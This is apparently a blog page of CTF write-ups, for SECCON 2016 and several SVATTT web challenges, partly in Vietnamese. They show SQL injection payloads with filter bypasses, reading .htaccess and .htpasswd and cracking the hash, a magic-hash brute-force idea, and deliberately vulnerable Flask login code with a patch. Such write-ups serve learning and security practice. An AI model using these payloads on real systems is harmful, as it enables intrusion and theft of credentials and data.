SECCON 2016 – uncomfortable web (web300)


Decription:
Attack to http://127.0.0.1:81/authed/ through the uploaded script at http://uncomfortableweb.pwn.seccon.jp/.
Get the flag in the database!

Firstly, we know it allow us to upload and run a script written by perl, python and shell
Of course, We need to attack to http://127.0.0.1:81/authed/
Let try with curl and something happen
1
And we have list of file and folder:
authed/
select.cgi
also try something with select.cgi
2
A get method from with the name “txt” and some values is “a”,”b”.
3
Something happen, I guess it is a.txt because the name of the post
4
Try to read some important file like “.htaccess”
5
We get something interesting

AuthUserFile /var/www/html-inner/authed/.htpasswd
AuthGroupFile /dev/null
AuthName “SECCON 2016”
AuthType Basic
Require user keigo

So, let try to get authed from .htpasswd
6
keigo:LdnoMJCeVy.SE
Best, try to decrypt password we get “test”
1
Then access to authed/
7
Then it show us a list of file and folder:

a.txt
b.txt
c.txt
sqlinj/

8
Yup, more and more file: [1-100].cgi
in each file, it give me a get method with the name “no” and value is “4822267938”
Note: Get the flag in the database!
we need to try injection with list of file with payload: curl -u keigo:test “localhost:81/authed/sqlinj/[1-100].cgi?no=4822267939-1”
9
OK not found anything, “4822267938” may be a string but not number
Try to inject it with quote, payload is: curl -u keigo:test “localhost:81/authed/sqlinj/[1-100].cgi?no=a’or’1’like’1′–”
10
And found injection in 72.cgi
Yup let take a quiz with sql injection
btw, I think it blacklist (,) and space, let bypass it use comment /**/
And easy to find table_name
12
So easy to find flag
13

flag: SECCON{I want to eventually make a CGC web edition… someday…}

Advertisements

SVATTT Farm Web200 ( vietlott & readfile return)

Vietlott – web200

Mỗi lần thi xong là một lần ôm đống việc, deadline ơi sao mà nhiều thế, mà thôi cũng không mất nhiều thời gian nên write up một bài biết đâu có tiền 😐
Bài này thực ra chả có gì khó, chỉ cần nhìn filter là biết làm gì rồi, ước gì lúc thi mình nhìn vào nó một tí, thật là sida.
Không chặn group by thì mình dùng group by, ez
payload: your_number=1 group by 1
1
flag: SVATTT{N0_alias_anym0r3}

Readfile Return – web200

Bài này cũng không phải khó, vì thực ra nó cũng y hệt như bài readfile vòng loại, nhưng vì chiến thuật team mình là Full Attack nên mình cũng không làm bài farm nào.
Tư duy bài này là thay vì brute timestamp như readfile trước thì mình sẽ force cái file name thay đổi để xác suất gặp được trường hợp $realsig trở thành dạng magic hash

url = http://128.199.227.110/neutralcamp3/69e2f2d3f5061816f6bdceac32fa9e4e/index.php?filename=./flag.php&sig=0
url = http://128.199.227.110/neutralcamp3/69e2f2d3f5061816f6bdceac32fa9e4e/index.php?filename=.//flag.php&sig=0
url = http://128.199.227.110/neutralcamp3/69e2f2d3f5061816f6bdceac32fa9e4e/index.php?filename=././flag.php&sig=0
url = http://128.199.227.110/neutralcamp3/69e2f2d3f5061816f6bdceac32fa9e4e/index.php?filename=.///./flag.php&sig=0
các Url trên đều như nhau nên lợi dụng điều đó mình sẽ brute được đoạn filename 700 kí tự là vô cùng nhiều trường hợp, xác suất là khá cao để gặp magic hash.

Code một đoan padding như này:
kí tự đầu tiên là “.”
kí tự thứ cuối cùng là “/”
nếu kí tự thứ n là “.” thì kí tự thứ n+1 là “/”
nếu kí tự thứ n là “/” thì kí tự thứ n+1 là “.” hoặc “/”

url = ” http://128.199.227.110/neutralcamp3/69e2f2d3f5061816f6bdceac32fa9e4e/index.php?filename=”+padding+”flag.php&sig=0
Brute ra chắc sẽ có flag, vì không có nhiều thời gian nên mình nói tới đây thôi, khi nào rảnh mình sẽ code và up lên, tất nhiên bây giờ thì mình sẽ không up vì đống deadline trên lớp.

Tower 2 – Chung Kết SVATTT2016

Một kỉ niệm buồn mà cũng vui, buồn vì trường mình mất chức vô địch, vui vì team mình may mắn được “ra tới Hà Nội”. Nhưng thôi bỏ qua tất cả để thử thách bản thân hơn.
Bài này thật sự là một bài dễ, cá nhân mình cho rằng với số điểm là 10 vàng là quá ưu ái. Tuy vậy nhưng lúc mình giải bài này thực sự là bế tắc trong cách giải quyết, kiểu như là đi tìm con gà trong Hồ Gươm.
Sai lầm đầu tiên là không debug và đoán bug, đây là sai lầm khiến mình mất hơn 2 tiếng để tìm cách escape quotes.
Đề cho ta source:

#!/usr/bin/python

from flask import Flask
from flask import request
import sqlite3
from re import sub
import os


def addslashes(s):
    d = {'"':'\\"', "'":"\\'", "\0":"\\\0", "\\":"\\\\"}
    return ''.join(d.get(c, c) for c in s)

def filter(s):
    for c in s:
        if ord(c) <= 32 or ord(c) >= 127: return 'guest'
    s = sub(r'[\(|\)|\/|\*]','',s)
    return addslashes(s)

app = Flask(__name__)
ROOT = os.path.dirname(os.path.realpath(__file__))
_FLAG_ = open(os.path.join(ROOT,'flag'),'rb').read()

BODY_HTML = """
<link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.7/sandstone/bootstrap.min.css" rel="stylesheet" integrity="sha384-G3G7OsJCbOk1USkOY4RfeX1z27YaWrZ1YuaQ5tbuawed9IoreRDpWpTkZLXQfPm3" crossorigin="anonymous">
<title>Tower-X-Tower-level01</title>


<div class="container">


<a href='/'><img src='http://final.svattt.org/images/tower.png' width=200 height=319 /></a>

{}
</div>


"""

INDEX_HTML = BODY_HTML.format("""


<h3>Login</h3>




<form class="form-horizontal" method=GET action='/login'>


<div class="form-group">
          <label class="control-label col-sm-2" for="uname">Username:</label>


<div class="col-sm-5">
            <input type="text" class="form-control" id="uname" name="username" placeholder="Enter Username">
          </div>


        </div>




<div class="form-group">
          <label class="control-label col-sm-2" for="pwd">Password:</label>


<div class="col-sm-5">
            <input type="password" class="form-control" id="pwd" name="password" placeholder="Enter password">
          </div>


        </div>




<div class="form-group">


<div class="col-sm-offset-2 col-sm-5">
            <button type="submit" class="btn btn-default">Submit</button>
          </div>


        </div>


      </form>


    """)


@app.route("/",)
def index():
    if request.args.get('source') == '1':
      from cgi import escape
      return BODY_HTML.format('

<pre>{}</pre>

'.format(escape(open(os.path.join(ROOT,__file__),'rb').read()).encode('ascii', 'xmlcharrefreplace'))
)
    return INDEX_HTML

@app.route("/login",methods=['GET'])
def login():
    username = filter(request.args.get('username'))
    password = filter(request.args.get('password'))

    if username != '' and password != '':
        conn = sqlite3.connect(os.path.join(ROOT,'users.db'))
        conn.row_factory = sqlite3.Row
        c = conn.cursor()

        query = "SELECT username,username='{}' AND password='{}' FROM users"
        query = query.format(username,password)
        result = c.execute(query)

        for r in result:
            flag = _FLAG_ if 'flag' in r.keys() else ''
            if r[1] == 1:
                conn.close()
                return BODY_HTML.format("""
<h3>EHLO {user}!</h3>

                        <!-- DEBUG: {flag} -->
                </div>

""".format(user=username,flag=flag))
    conn.close()
    return BODY_HTML.format("
<h1>Failed</h1>

")

if __name__ == "__main__":
    import logging
    logger = logging.getLogger('werkzeug')
    handler = logging.FileHandler(os.path.join(ROOT,'access.log'))
    logger.addHandler(handler)
    app.logger.addHandler(handler)
    app.run(host='0.0.0.0',port=5002,debug=False,processes=10)

Nhờ có đồng đội tuyệt vời nên mình đã ngộ ra một điều là mình đã sai. Mình quyết định dựng 1 con server y hệt như BTC và debug.
Nhờ vậy mà mình đã hiểu chi tiết hệ thống này hoạt động ra sao.
* Phân tích source:
Vì mình rất ngại đọc source python nên mình chỉ đi từ cách lấy flag thôi chứ không đọc toàn bộ.
Điều đầu tiên phải nói tới là điều kiện:

flag = _FLAG_ if 'flag' in r.keys() else ''

tức là hàm _FLAG_ sẽ được thực thi khi mình select ra một cột có tên “flag”

if r[1] == 1:
                conn.close()
                return BODY_HTML.format("""


<h3>EHLO {user}!</h3>


                        <!-- DEBUG: {flag} -->
                </div>


""".format(user=username,flag=flag))

tức là cột thứ 2 lúc select ra phải là một số bằng 1
Điều thứ 2 đương nhiên là câu truy vấn:

        query = "SELECT username,username='{}' AND password='{}' FROM users"
        query = query.format(username,password)

Có lẽ cấu trúc này làm cho nhiều người phải điên đảo vì nó khá lạ, nhưng những cái này với mình thì như cơm cháo rồi. Cụ thể là điều kiện chính là vế chọn, bỏ where để câu lệnh trở nên ngắn hơn nhưng logic đã mất đi vì câu truy vấn sẽ không phân biệt được điều kiện nằm ở bảng nào ( Cái này là do anh PwnPP4fun chỉ mình :)) ). Nhờ vậy mà ở đây mình sẽ có thể sửa được chút ít.
Điều thứ 3 không phải gì khác chính là filter và sub:
username và password được filter bởi hàm filter(s).

def addslashes(s):
    d = {'"':'\\"', "'":"\\'", "\0":"\\\0", "\\":"\\\\"}
    return ''.join(d.get(c, c) for c in s)

def filter(s):
    for c in s:
        if ord(c) <= 32 or ord(c) >= 127: return 'guest'
    s = sub(r'[\(|\)|\/|\*]','',s)
    return addslashes(s)

Dễ hiểu thôi, payload (username,password) của mình sẽ bị lược bỏ đi một số kí tự cực kì quan trọng như (,),/,* và nếu ascii code của kí tự nào đó trong payload (username,password) nằm ngoài đoạn [33-126] thì sẽ bị thay bằng guest. Sau đó nó sẽ addslashes vào để cản mình dùng dấu nháy (‘). Cái này làm mình mất hơn 2 tiếng tìm cách escape mà nó chả có ý nghĩa gì cả vì sqlite không có tính năng addslashes để biến cái dấu (‘) thành string, noob thật.
Xong, ta đã phân tích được sourcecode, tiến đến bước 2
* Tìm cách khai thác
– Để hiện ra tên bảng là flag thì mình select một cái bảng nào đó rồi sửa tên nó thành flag là xong
– Để select được ra cột thứ 1 (tính từ 0) được một số bằng 1 thì mình dùng Or cho nó ra thằng guest thì auto đúng
– Để bypass được dấu cách và ngoặc đơn thì mình dùng cái này (`). ( Từ hint của BTC)
OK payload cuối cùng sẽ là:
username=’or`username`=`username`,`password`as`flag`from`users`–
password sao cũng được

1

Đây là bản patch cho bài này, mình không biết là tối ưu hay chưa, nếu bạn có bản nào hay hơn thì xin chỉ dạy, xin cảm ơn.

#!/usr/bin/python

from flask import Flask
from flask import request
import sqlite3
from re import sub
import os


def addslashes(s):
    d = {'"':'\\"', "'":"\\'", "\0":"\\\0", "\\":"\\\\"}
    return ''.join(d.get(c, c) for c in s)

def filter(s):
    for c in s:
        if ord(c) <= 32 or ord(c) >= 127: return 'guest'
    s = sub(r'[\(|\'|\/|\*]','',s)
    return addslashes(s)

app = Flask(__name__)
ROOT = os.path.dirname(os.path.realpath(__file__))
_FLAG_ = open(os.path.join(ROOT,'flag'),'rb').read()

BODY_HTML = """
<link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.7/sandstone/bootstrap.min.css" rel="stylesheet" integrity="sha384-G3G7OsJCbOk1USkOY4RfeX1z27YaWrZ1YuaQ5tbuawed9IoreRDpWpTkZLXQfPm3" crossorigin="anonymous">
<title>Tower-X-Tower-level01</title>


<div class="container">


<a href='/'><img src='http://final.svattt.org/images/tower.png' width=200 height=319 /></a>

{}
</div>


"""

INDEX_HTML = BODY_HTML.format("""


<h3>Login</h3>




<form class="form-horizontal" method=GET action='/login'>


<div class="form-group">
          <label class="control-label col-sm-2" for="uname">Username:</label>


<div class="col-sm-5">
            <input type="text" class="form-control" id="uname" name="username" placeholder="Enter Username">
          </div>


        </div>




<div class="form-group">
          <label class="control-label col-sm-2" for="pwd">Password:</label>


<div class="col-sm-5">
            <input type="password" class="form-control" id="pwd" name="password" placeholder="Enter password">
          </div>


        </div>




<div class="form-group">


<div class="col-sm-offset-2 col-sm-5">
            <button type="submit" class="btn btn-default">Submit</button>
          </div>


        </div>


      </form>


    """)


@app.route("/",)
def index():
    if request.args.get('source') == '1':
      from cgi import escape
      return BODY_HTML.format('

<pre>{}</pre>

'.format(escape(open(os.path.join(ROOT,__file__),'rb').read()).encode('ascii', 'xmlcharrefreplace'))
)
    return INDEX_HTML

@app.route("/login",methods=['GET'])
def login():
    username = filter(request.args.get('username'))
    password = filter(request.args.get('password'))

    if username != '' and password != '':
        conn = sqlite3.connect(os.path.join(ROOT,'users.db'))
        conn.row_factory = sqlite3.Row
        c = conn.cursor()

        query = "SELECT username,username='{}' AND password='{}' FROM users"
        query = query.format(username,password)
        result = c.execute(query)

        for r in result:
            flag = _FLAG_ if 'flag' in r.keys() else ''
            if r[1] == 1:
                conn.close()
                return BODY_HTML.format("""
<h3>EHLO {user}!</h3>

                        <!-- DEBUG: {flag} -->
                </div>

""".format(user=username,flag=flag))
    conn.close()
    return BODY_HTML.format("
<h1>Failed</h1>

")

if __name__ == "__main__":
    import logging
    logger = logging.getLogger('werkzeug')
    handler = logging.FileHandler(os.path.join(ROOT,'access.log'))
    logger.addHandler(handler)
    app.logger.addHandler(handler)
    app.run(host='0.0.0.0',port=5002,debug=False,processes=10)

 
Bài này mình và anh PwnPP4fun cùng nhau làm nên mới ra, nếu không có sự trợ giúp của anh ấy thì mình cá là mình sẽ xoáy vào những sai lầm mà không thể thoát ra được. Từ đây mình rút ra được kinh nghiệm rằng team nên hỗ trợ lẫn nhau cùng giải các bài hơn là chia nhau mỗi người một mảng rồi tách biệt ra chơi vì cách này chả khác gì chơi 1 mình cả, không thể thoát ra nếu gặp bế tắc. Mình luôn muốn ở trong 1 team thà yếu mà đoàn kết hơn là 1 team mạnh mà cô độc.